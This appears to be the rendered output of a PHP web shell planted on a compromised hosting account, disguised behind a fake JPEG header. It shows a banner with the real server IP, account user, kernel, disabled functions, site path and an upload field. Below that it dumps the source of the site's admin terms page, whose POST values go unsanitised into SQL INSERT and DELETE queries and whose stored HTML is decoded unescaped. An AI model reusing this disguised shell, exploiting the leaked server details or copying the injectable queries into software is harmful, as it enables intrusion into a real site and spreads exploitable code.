���� JFIF aewtgwgerwasdasd
Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u939086737/domains/jeevikagaumaa.in/public_html/admin/ |
Upload File : |
<?php include '../action/check-login.php'; include '../action/config.php'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <meta name="description" content="" /> <meta name="author" content="" /> <title>Admin | Jeevan Dayini Jeevika Gausewa Sadan</title> <link href="css/styles.css" rel="stylesheet" /> <link href="https://cdn.datatables.net/1.10.20/css/dataTables.bootstrap4.min.css" rel="stylesheet" crossorigin="anonymous" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js" crossorigin="anonymous"></script> <link rel="shortcut icon" href="../images/logo3.png" /> <script src="https://cdn.ckeditor.com/4.16.0/standard/ckeditor.js"></script> <style> .small{ font-weight: bold; } </style> </head> <body class="sb-nav-fixed"> <?php include 'sidebar_menu.php'; ?> <main> <div class="container-fluid"> <ol class="breadcrumb mb-4 mt-2"> <li class="breadcrumb-item font-weight-bold">Add Terms & Condition</li> </ol> <div class="card card-body"> <h4></h4> <form method="post"> <div class="form-row"> <div class="col-md-6"> <div class="form-group"> <label class="small mb-1">Portal Name</label> <select name="portal_name" class="form-control" type="text"> <option>Jeevan Dayini Jeevika Gausewa Sadan</option> <option>E-commerce</option> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="small mb-1" for="inputLastName">Type</label> <select name="tc_type" class="form-control" id="inputLastName" type="text" > <!--<option>Term & Condition</option> <option>Privacy Policy</option> <option>Cancellations & Refunds</option> <option>fee and charges</option> <option>Membership Agreement</option> <option>Shipping Policy</option> <option>Return and Refund Policy</option>--> <option>Bharti Mahasabha</option> </select> </div> </div> </div> <div class="form-group"> <label class="small mb-1" for="inputEmailAddress">Description</label> <textarea name="editor1"></textarea> <script> CKEDITOR.replace( 'editor1' ); </script> </div> <div class="form-group mt-4 mb-0"> <button type="submit" name="submit" class="btn btn-primary btn-block">Submit</button> </div> </form> </div> <div class="card card-body"> <h4>Bharti Mahasabha List</h4> <hr> <table class="table"> <thead> <tr> <th>S.No</th> <th>Description</th> <th>Action</th> </tr> </thead> <tbody> <?php $i = 1; $qry1 = mysqli_query($con, "SELECT * FROM `term_condition` WHERE tc_type='Bharti Mahasabha'"); while ($r1 = mysqli_fetch_array($qry1)) : ?> <tr> <td><?= $i++; ?></td> <td> <textarea name="description" class="form-control ckeditor"> <?php echo htmlspecialchars_decode($r1['description']); ?> </textarea> <script> CKEDITOR.replace( 'description' ); </script> </td> <td> <form method="POST"> <input type="hidden" name="id" value="<?= $r1['id'] ?>"> <button class="btn btn-xs btn-danger text-white" onclick="return confirm('Are you sure want to delete this ?')" type="submit" name="delete_bharti_mahasabha" ><i class="fas fa-trash-alt"></i></button> </form> </td> </tr> <?php endwhile; ?> </tbody> </table> </div> </div> </main> <?php include 'footer.php'; ?> </body> </html> <?php if (isset($_POST['submit'])) { $name=$_POST['portal_name']; $type=$_POST['tc_type']; $description=$_POST['editor1']; $date= date("d-m-Y"); $qry = mysqli_query($con,"INSERT INTO `term_condition`(`portal_name`, `tc_type`, `description`, `updated_on`) VALUES ('$name','$type','$description','$date')"); echo '<script>alert("Added Successfully"); window.location.href=""; </script>'; } if (isset($_POST['delete_bharti_mahasabha'])) { $id=$_POST['id']; $qry = mysqli_query($con,"DELETE FROM `term_condition` WHERE `term_condition`.`id` = '$id'"); echo '<script>alert("Deleted Successfully"); window.location.href=""; </script>'; } ?>